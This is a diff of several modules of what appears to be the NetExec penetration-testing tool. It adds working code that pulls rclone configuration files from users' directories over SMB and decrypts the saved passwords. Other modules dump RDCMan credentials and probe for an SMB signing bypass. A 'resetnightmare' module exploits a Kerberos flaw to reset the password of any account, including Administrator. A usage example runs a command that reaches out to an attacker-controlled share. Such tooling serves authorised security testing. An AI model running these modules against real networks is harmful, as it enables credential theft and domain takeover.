pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents()
|
||||
|
||||
def _buildEncParts(self, as_rep: AS_REP, domain: str, username: str, duration_hours: int, enctype_value: int, pac_infos: dict, key_size: int) -> tuple[EncASRepPart, EncTicketPart, dict]:
|
||||
now_utc = datetime.datetime.now(datetime.timezone.utc)
|
||||
now_utc = datetime.datetime.now(datetime.UTC)
|
||||
end_utc = now_utc + datetime.timedelta(hours=duration_hours)
|
||||
|
||||
enc_ticket_part = EncTicketPart()
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
import base64
|
||||
from Cryptodome.Cipher import AES
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "rclone"
|
||||
description = "Searches for rclone.conf and deobscures credentials"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No module options."""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.share = "C$"
|
||||
base_dir = "\\Users"
|
||||
skip_dirs = {"Public", "Default", "Default User", "All Users"}
|
||||
|
||||
try:
|
||||
entries = connection.conn.listPath(self.share, base_dir + "\\*")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to list {base_dir}: {e}")
|
||||
return False
|
||||
|
||||
usernames = [
|
||||
entry.get_longname()
|
||||
for entry in entries
|
||||
if entry.is_directory() and entry.get_longname() not in skip_dirs | {".", ".."}
|
||||
]
|
||||
|
||||
if not usernames:
|
||||
context.log.warning("No user directories found.")
|
||||
return False
|
||||
|
||||
for username in usernames:
|
||||
conf_path = f"\\Users\\{username}\\AppData\\Roaming\\rclone\\rclone.conf"
|
||||
context.log.info(f"Trying to read: {self.share + conf_path}")
|
||||
conf_data = ""
|
||||
|
||||
try:
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile(self.share, conf_path, buf.write)
|
||||
conf_data = buf.getvalue().decode()
|
||||
except Exception:
|
||||
context.log.info(f"[{username}] rclone.conf not found.")
|
||||
continue
|
||||
|
||||
if "RCLONE_ENCRYPT_V0" in conf_data:
|
||||
context.log.fail(f"[{username}] Encrypted config — skipping.")
|
||||
continue
|
||||
|
||||
context.log.success(f"[{username}] rclone.conf found!")
|
||||
|
||||
for line in conf_data.splitlines():
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
|
||||
if "=" not in line:
|
||||
context.log.highlight(line.strip())
|
||||
continue
|
||||
|
||||
key, val = map(str.strip, line.split("=", 1))
|
||||
if key.lower() in ("pass", "password", "password2"):
|
||||
try:
|
||||
plain = self.deobscure(val)
|
||||
context.log.highlight(f"{key} = {plain}")
|
||||
except Exception as e:
|
||||
context.log.warning(f"[{username}] Failed to deobscure {key}: {e}")
|
||||
else:
|
||||
context.log.highlight(line.strip())
|
||||
|
||||
return True
|
||||
|
||||
def deobscure(self, obscured):
|
||||
encrypted_password = self.base64_urlsafedecode(obscured)
|
||||
iv = encrypted_password[:AES.block_size]
|
||||
buf = encrypted_password[AES.block_size:]
|
||||
SECRET_KEY = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38"
|
||||
crypter = AES.new(key=SECRET_KEY, mode=AES.MODE_CTR, initial_value=iv, nonce=b"")
|
||||
return crypter.decrypt(buf).decode("utf-8")
|
||||
|
||||
def base64_urlsafedecode(self, string):
|
||||
padding = (4 - len(string) % 4) % 4
|
||||
string += "=" * padding
|
||||
return base64.urlsafe_b64decode(string)
|
||||
+6
-33
@@ -1,55 +1,28 @@
|
||||
from dploot.triage.rdg import RDGTriage, RDGServerProfile
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "rdcman"
|
||||
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
|
||||
context.log.success("Looting RDCMan secrets")
|
||||
|
||||
try:
|
||||
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
|
||||
triage = RDGTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys)
|
||||
rdcman_files, rdgfiles = triage.triage_rdcman()
|
||||
for rdcman_file in rdcman_files:
|
||||
if rdcman_file is None:
|
||||
@@ -58,7 +31,7 @@ class NXCModule:
|
||||
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
|
||||
if isinstance(rdg_cred, RDGServerProfile):
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
|
||||
for rdgfile in rdgfiles:
|
||||
if rdgfile is None:
|
||||
continue
|
||||
@@ -66,6 +39,6 @@ class NXCModule:
|
||||
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
|
||||
if isinstance(rdg_cred, RDGServerProfile):
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot RDCMan secrets: {e}")
|
||||
+14
-3
@@ -1,6 +1,6 @@
|
||||
from sys import exit
|
||||
|
||||
from nxc.connection import dcom_FirewallChecker
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
@@ -101,7 +101,8 @@ class NXCModule:
|
||||
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
wmi_rdp._RdpWmi__dcom.disconnect()
|
||||
if wmi_rdp._RdpWmi__dcom is not None:
|
||||
wmi_rdp._RdpWmi__dcom.disconnect()
|
||||
|
||||
|
||||
class RdpSmb:
|
||||
@@ -222,7 +223,16 @@ class RdpWmi:
|
||||
self.__aesKey = connection.aesKey
|
||||
self.__timeout = timeout
|
||||
|
||||
self.__dcom = None
|
||||
if self.__currentprotocol == "wmi":
|
||||
# The wmi protocol already holds an authenticated IWbemLevel1Login:
|
||||
# reuse it instead of creating a second DCOMConnection to the same
|
||||
# target (whose disconnect would clash with the protocol's own)
|
||||
self.__iWbemLevel1Login = connection.iWbemLevel1Login
|
||||
return
|
||||
|
||||
try:
|
||||
*_, tgt, _ = connection.conn.getCredentials()
|
||||
self.__dcom = DCOMConnection(
|
||||
self.__target,
|
||||
self.__username,
|
||||
@@ -235,11 +245,12 @@ class RdpWmi:
|
||||
doKerberos=self.__doKerberos,
|
||||
kdcHost=self.__kdcHost,
|
||||
remoteHost=self.__remoteHost,
|
||||
TGT=tgt,
|
||||
)
|
||||
|
||||
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
if self.__currentprotocol == "smb":
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout, self.logger)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
|
||||
|
||||
|
||||
@@ -0,0 +1,144 @@
|
||||
import binascii
|
||||
import contextlib
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.smb3 import SMB2SessionSetup, SMB2SessionSetup_Response
|
||||
from impacket.smb3structs import SMB2_SESSION_SETUP
|
||||
from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.smb import get_smb_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module made by: Lyderic Lefebvre (@aas_s3curity) - https://blackfield.ch
|
||||
|
||||
Check if an SMB server still allows a cross-user re-authentication swap on an existing session:
|
||||
log in as one account, then re-authenticate as a different one on the same connection. That swap
|
||||
is the primitive an auth relay uses to keep a privileged session under a signing key it controls,
|
||||
defeating enforced SMB signing. Recent Windows builds allow same-user re-auth only and refuse the
|
||||
swap with ACCESS_DENIED. Microsoft fixed this server-side as CVE-2026-69676 (September 2026
|
||||
cumulative updates). Not derivable from the build number (feature-flagged: the same build can
|
||||
allow or refuse it), so it is probed live.
|
||||
https://blackfield.ch/blog/defeating-enforced-smb-signing/
|
||||
"""
|
||||
name = "reauth_swap"
|
||||
description = "Check if the server allows a cross-user re-auth swap on an SMB session (used to defeat enforced signing); needs a 2nd account"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
STATUS_SUCCESS = 0x00000000
|
||||
STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016
|
||||
STATUS_ACCESS_DENIED = 0xC0000022
|
||||
STATUS_LOGON_FAILURE = 0xC000006D
|
||||
STATUS_ACCOUNT_LOCKED_OUT = 0xC0000234
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
PROBE_USER second account, must differ from the login account (required)
|
||||
PROBE_PASS second account password
|
||||
PROBE_NTHASH second account NT hash (instead of PROBE_PASS)
|
||||
|
||||
The second account is probed over NTLM; its privileges do not matter.
|
||||
|
||||
Lockout warning: every target triggers one real NTLM logon as PROBE_USER
|
||||
(in the login account's domain). A correct password never increments
|
||||
badPwdCount, whether the host is patched (ACCESS_DENIED) or not (SUCCESS).
|
||||
A wrong PROBE_PASS/PROBE_NTHASH, or a PROBE_USER that does not exist in that
|
||||
domain, returns LOGON_FAILURE and raises badPwdCount once per host.
|
||||
Validate PROBE_USER on a single host before running wide.
|
||||
"""
|
||||
self.probe_user = module_options.get("PROBE_USER")
|
||||
self.probe_pass = module_options.get("PROBE_PASS", "")
|
||||
self.probe_nthash = module_options.get("PROBE_NTHASH", "")
|
||||
if not self.probe_user:
|
||||
context.log.fail("reauth_swap requires a second account: -o PROBE_USER=<user> PROBE_PASS=<pass> (must differ from the account nxc logged in with)")
|
||||
return False
|
||||
if not self.probe_pass and not self.probe_nthash:
|
||||
context.log.fail("reauth_swap requires PROBE_PASS or PROBE_NTHASH for the second account")
|
||||
return False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if self.probe_user.lower() == (connection.username or "").lower():
|
||||
context.log.fail("PROBE_USER must differ from the account nxc logged in with: only a cross-user swap is refused, so the same account always succeeds and tests nothing")
|
||||
return
|
||||
|
||||
# without enforced signing there is nothing to bypass: a relayed auth is accepted directly
|
||||
if not connection.signing:
|
||||
context.log.info("SMB signing not enforced, nothing to bypass - skipping")
|
||||
return
|
||||
|
||||
try:
|
||||
# fresh session so nxc's own connection is left untouched
|
||||
new_conn = get_smb_connection(context, connection, timeout=connection.args.smb_timeout)
|
||||
try:
|
||||
status = self.reauth_as(new_conn.getSMBServer(), self.probe_user, self.probe_pass, connection.domain, self.probe_nthash)
|
||||
finally:
|
||||
with contextlib.suppress(Exception):
|
||||
new_conn.close()
|
||||
except Exception as e:
|
||||
context.log.fail(f"could not probe this host: {e.__class__.__name__}: {e}")
|
||||
return
|
||||
|
||||
if status == self.STATUS_SUCCESS:
|
||||
context.log.highlight("VULNERABLE - enforced SMB signing bypassable")
|
||||
context.log.highlight("Next step: https://blackfield.ch/blog/defeating-enforced-smb-signing/")
|
||||
elif status == self.STATUS_ACCESS_DENIED:
|
||||
context.log.display("not vulnerable - cross-user re-auth swap refused (ACCESS_DENIED), same-user re-auth only")
|
||||
elif status == self.STATUS_LOGON_FAILURE:
|
||||
context.log.fail("PROBE_USER login failed (LOGON_FAILURE) - stop before repeated attempts lock the account out")
|
||||
elif status == self.STATUS_ACCOUNT_LOCKED_OUT:
|
||||
context.log.fail("PROBE_USER is locked out (ACCOUNT_LOCKED_OUT) - stop and let it reset")
|
||||
else:
|
||||
context.log.display(f"inconclusive - second session setup returned 0x{status:08X}")
|
||||
|
||||
def reauth_as(self, smb, user, password, domain, nthash):
|
||||
"""Replay an NTLM (Type1/Type3) session setup as `user` on an EXISTING session; return the NTSTATUS."""
|
||||
# Create NTLM Type1 message (challenge)
|
||||
type1 = ntlm.getNTLMSSPType1("", domain)
|
||||
blob = SPNEGO_NegTokenInit()
|
||||
blob["MechTypes"] = [TypesMech["NTLMSSP - Microsoft NTLM Security Support Provider"]]
|
||||
blob["MechToken"] = type1.getData()
|
||||
|
||||
setup = SMB2SessionSetup()
|
||||
setup["Flags"] = 0
|
||||
setup["SecurityMode"] = 1
|
||||
setup["SecurityBufferLength"] = len(blob.getData())
|
||||
setup["Buffer"] = blob.getData()
|
||||
pkt = smb.SMB_PACKET()
|
||||
pkt["Command"] = SMB2_SESSION_SETUP
|
||||
pkt["Data"] = setup
|
||||
|
||||
ans = smb.recvSMB(smb.sendSMB(pkt))
|
||||
if ans["Status"] != self.STATUS_MORE_PROCESSING_REQUIRED:
|
||||
return ans["Status"]
|
||||
|
||||
resp = SMB2SessionSetup_Response(ans["Data"])
|
||||
try:
|
||||
type2 = SPNEGO_NegTokenResp(resp["Buffer"])["ResponseToken"]
|
||||
except Exception:
|
||||
raw = resp["Buffer"]
|
||||
type2 = raw[raw.index(b"NTLMSSP"):]
|
||||
|
||||
lm = nt = ""
|
||||
if nthash:
|
||||
lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee")
|
||||
nt = binascii.unhexlify(nthash)
|
||||
|
||||
# Create NTLM Type3 message (authentication)
|
||||
type3, _ = ntlm.getNTLMSSPType3(type1, type2, user, password, domain, lmhash=lm, nthash=nt)
|
||||
blob2 = SPNEGO_NegTokenResp()
|
||||
blob2["ResponseToken"] = type3.getData()
|
||||
|
||||
setup2 = SMB2SessionSetup()
|
||||
setup2["Flags"] = 0
|
||||
setup2["SecurityMode"] = 1
|
||||
setup2["SecurityBufferLength"] = len(blob2.getData())
|
||||
setup2["Buffer"] = blob2.getData()
|
||||
|
||||
pkt2 = smb.SMB_PACKET()
|
||||
pkt2["Command"] = SMB2_SESSION_SETUP
|
||||
pkt2["Data"] = setup2
|
||||
|
||||
ans2 = smb.recvSMB(smb.sendSMB(pkt2))
|
||||
return ans2["Status"]
|
||||
@@ -1,7 +1,9 @@
|
||||
from os import makedirs
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from os.path import join, abspath
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
@@ -73,8 +75,11 @@ class NXCModule:
|
||||
|
||||
# Formatting the destination filename
|
||||
file_path = path.split("$")[-1].replace("/", "_")
|
||||
filename = f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}"
|
||||
dest_path = abspath(join(export_path, filename))
|
||||
filename = sanitize_path_component(f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}")
|
||||
dest_path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in dest_path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
try:
|
||||
with open(dest_path, "wb+") as file:
|
||||
connection.conn.getFile("C$", path, file.write)
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
# dlive (@D1iv3)
|
||||
#
|
||||
# Refernece:
|
||||
# Reference:
|
||||
# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
|
||||
# - https://github.com/fox-it/cve-2019-1040-scanner
|
||||
# - https://github.com/Dliv3/cve-2019-1040-scanner
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
|
||||
from impacket.krb5.kpasswd import changePassword, KPasswdError, KRB5_KPASSWD_TGT_SPN
|
||||
from impacket.ldap.ldap import MODIFY_REPLACE, MODIFY_DELETE, LDAPSessionError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by @azoxlpf based on the ResetNightmare PoC and
|
||||
https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/
|
||||
"""
|
||||
|
||||
name = "resetnightmare"
|
||||
description = "Exploit ResetNightmare (CVE-2026-27912) to reset any account's password via Kerberos change password"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.connection = None
|
||||
self.target = None
|
||||
self.new_password = None
|
||||
self.upn_user = None
|
||||
self.upn_password = None
|
||||
self.upn_nthash = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Reset any account's password by abusing the Kerberos Change Password protocol (CVE-2026-27912, ResetNightmare).
|
||||
Requires GenericWrite over a controlled account's userPrincipalName, and an unpatched DC.
|
||||
|
||||
TARGET sAMAccountName of the account whose password gets reset (append $ for a computer)
|
||||
NEW_PASSWORD New password to set on TARGET
|
||||
UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account)
|
||||
UPN_PASSWORD Cleartext password of UPN_USER
|
||||
UPN_NTHASH NT Hash of UPN_USER
|
||||
|
||||
Examples:
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!'
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_NTHASH='31d6cfe0d16ae931b73c59d7e0c089c0'
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!'
|
||||
"""
|
||||
self.target = module_options.get("TARGET")
|
||||
self.new_password = module_options.get("NEW_PASSWORD")
|
||||
self.upn_user = module_options.get("UPN_USER")
|
||||
self.upn_password = module_options.get("UPN_PASSWORD", "")
|
||||
self.upn_nthash = module_options.get("UPN_NTHASH", "")
|
||||
|
||||
if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]):
|
||||
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required")
|
||||
return False
|
||||
|
||||
def resolve_account(self, sam):
|
||||
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"])
|
||||
entries = parse_result_attributes(response)
|
||||
return entries[0]["distinguishedName"] if entries else None
|
||||
|
||||
def get_account_upn(self, sam):
|
||||
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName", "userPrincipalName"])
|
||||
entries = parse_result_attributes(response)
|
||||
if not entries:
|
||||
return None, None
|
||||
return entries[0]["distinguishedName"], entries[0].get("userPrincipalName")
|
||||
|
||||
def set_upn(self, dn, upn):
|
||||
try:
|
||||
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_REPLACE, upn)]})
|
||||
return True
|
||||
except LDAPSessionError as e:
|
||||
self.context.log.fail(f"Failed to set UPN on {self.upn_user}: {e}")
|
||||
return False
|
||||
|
||||
def restore_upn(self, dn, old_upn):
|
||||
try:
|
||||
if old_upn:
|
||||
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_REPLACE, old_upn)]})
|
||||
self.context.log.display(f"Restored original UPN '{old_upn}' on {self.upn_user}")
|
||||
else:
|
||||
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_DELETE, [])]})
|
||||
self.context.log.display(f"Cleared fake UPN from {self.upn_user}")
|
||||
except LDAPSessionError as e:
|
||||
self.context.log.fail(f"Cleanup failed, UPN may still be set on {self.upn_user}: {e}")
|
||||
|
||||
def request_changepw_tgt(self):
|
||||
client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value)
|
||||
kdc = self.connection.kdcHost or self.connection.host
|
||||
try:
|
||||
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", self.upn_nthash, "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
|
||||
except (KerberosError, OSError) as e:
|
||||
self.context.log.fail(f"Failed to request change-password TGT: {e}")
|
||||
return None
|
||||
self.context.log.success(f"Obtained NT-ENTERPRISE TGT for '{self.target}' targeting {KRB5_KPASSWD_TGT_SPN}")
|
||||
return {"KDC_REP": tgt, "cipher": cipher, "sessionKey": session_key}
|
||||
|
||||
def reset_password(self, tgt):
|
||||
kdc = self.connection.kdcHost or self.connection.host
|
||||
try:
|
||||
changePassword(self.target, self.connection.domain, self.new_password, TGT=tgt, kdcHost=kdc, kpasswdHost=kdc)
|
||||
except (KPasswdError, KerberosError, OSError) as e:
|
||||
self.context.log.fail(f"Password change failed: {' '.join(str(e).split())}")
|
||||
return False
|
||||
return True
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
target_dn = self.resolve_account(self.target)
|
||||
if not target_dn:
|
||||
context.log.fail(f"Target '{self.target}' not found")
|
||||
return
|
||||
upn_dn, old_upn = self.get_account_upn(self.upn_user)
|
||||
if not upn_dn:
|
||||
context.log.fail(f"Controlled account '{self.upn_user}' not found")
|
||||
return
|
||||
|
||||
context.log.display(f"Target: {self.target} ({target_dn})")
|
||||
context.log.display(f"Controlled account: {self.upn_user} ({upn_dn}), current UPN: {old_upn or '<none>'}")
|
||||
|
||||
if not self.set_upn(upn_dn, self.target):
|
||||
return
|
||||
context.log.success(f"Set fake UPN '{self.target}' on {self.upn_user}")
|
||||
|
||||
try:
|
||||
tgt = self.request_changepw_tgt()
|
||||
finally:
|
||||
self.restore_upn(upn_dn, old_upn)
|
||||
|
||||
if tgt is None:
|
||||
return
|
||||
|
||||
if not self.reset_password(tgt):
|
||||
return
|
||||
|
||||
context.log.highlight(f"Successfully reset password of '{self.target}' to '{self.new_password}'")
|
||||
context.db.add_credential("plaintext", connection.domain, self.target, self.new_password)
|
||||
@@ -1,9 +1,9 @@
|
||||
|
||||
import contextlib
|
||||
from impacket.dcerpc.v5 import transport, rrp
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
|
||||
@@ -24,18 +24,9 @@ class NXCModule:
|
||||
|
||||
connection.trigger_winreg()
|
||||
|
||||
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
|
||||
rpc.set_smb_connection(connection.conn)
|
||||
|
||||
if connection.kerberos:
|
||||
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
dce = rpc.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
dce = None
|
||||
try:
|
||||
dce.connect()
|
||||
dce.bind(rrp.MSRPC_UUID_RRP)
|
||||
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
|
||||
|
||||
# Open HKEY_LOCAL_MACHINE
|
||||
ans = rrp.hOpenLocalMachine(dce)
|
||||
@@ -47,7 +38,7 @@ class NXCModule:
|
||||
except DCERPCException:
|
||||
self.context.log.fail("No site Database found")
|
||||
except DCERPCException as e:
|
||||
if "rpc_s_access_denied" in str(e):
|
||||
if "rpc_s_access_denied" in str(e) or "ERROR_FILE_NOT_FOUND" in str(e):
|
||||
self.context.log.info(f"Probably not a primary site server or a distribution point: {e}")
|
||||
else:
|
||||
self.context.log.fail(f"Unexpected error: {e}")
|
||||
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
from impacket.ldap import ldap, ldaptypes
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
from impacket.ldap.ldapasn1 import SDFlagsControl
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
@@ -56,7 +56,7 @@ class NXCModule:
|
||||
try:
|
||||
# Search for SCCM root object
|
||||
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
|
||||
controls = security_descriptor_control(sdflags=0x04)
|
||||
controls = [SDFlagsControl(criticality=False, flags=0x04)]
|
||||
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
|
||||
result = connection.ldap_connection.search(
|
||||
searchFilter=search_filter,
|
||||
|
||||
+26
-35
@@ -44,7 +44,6 @@ class NXCModule:
|
||||
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='dir \\<attacker-ip>\pwn' TASK='Legit Task' SILENTCOMMAND='True'
|
||||
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=certreq CA='ADCS\whiteflag-ADCS-CA' TEMPLATE=User
|
||||
"""
|
||||
self.logger = context.log
|
||||
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = self.ca_name = self.template_name = None
|
||||
self.share = "C$"
|
||||
self.output_file_location = "\\Windows\\Temp"
|
||||
@@ -71,6 +70,7 @@ class NXCModule:
|
||||
self.template_name = module_options.get("TEMPLATE")
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.logger = context.log
|
||||
|
||||
if self.command_to_run is None:
|
||||
self.logger.fail("You need to specify a CMD to run")
|
||||
@@ -80,7 +80,10 @@ class NXCModule:
|
||||
self.logger.fail("You need to specify a USER to run the task as")
|
||||
return
|
||||
|
||||
if self.command_to_run.lower() == "certreq":
|
||||
# certreq mode is decided from the original CMD here, because self.command_to_run is later
|
||||
# reassigned to the batch path; the PFX download below is gated on this same flag
|
||||
self.is_certreq = self.command_to_run.lower() == "certreq"
|
||||
if self.is_certreq:
|
||||
if self.ca_name is None:
|
||||
self.logger.fail("CertReq requires the CA name in the following format: SERVER_NAME\\CertificateAuthority_Name")
|
||||
return
|
||||
@@ -96,21 +99,18 @@ class NXCModule:
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
set "BASE={full_path_prefixed_file}"
|
||||
certreq -new "%BASE%.inf" "%BASE%.req" > nul
|
||||
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul
|
||||
certutil -user -addstore my "%BASE%.cer" > nul
|
||||
set "HASH="
|
||||
for /f "tokens=2 delims=:" %%A in ('
|
||||
certutil -user -store my ^| findstr /r /c:"Hach\. cert\." /c:"Cert Hash"
|
||||
') do (
|
||||
set "tmp=%%A"
|
||||
set "tmp=!tmp: =!"
|
||||
set "HASH=!tmp!"
|
||||
)
|
||||
certreq -new "%BASE%.inf" "%BASE%.req" > nul || exit /b 10
|
||||
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul || exit /b 11
|
||||
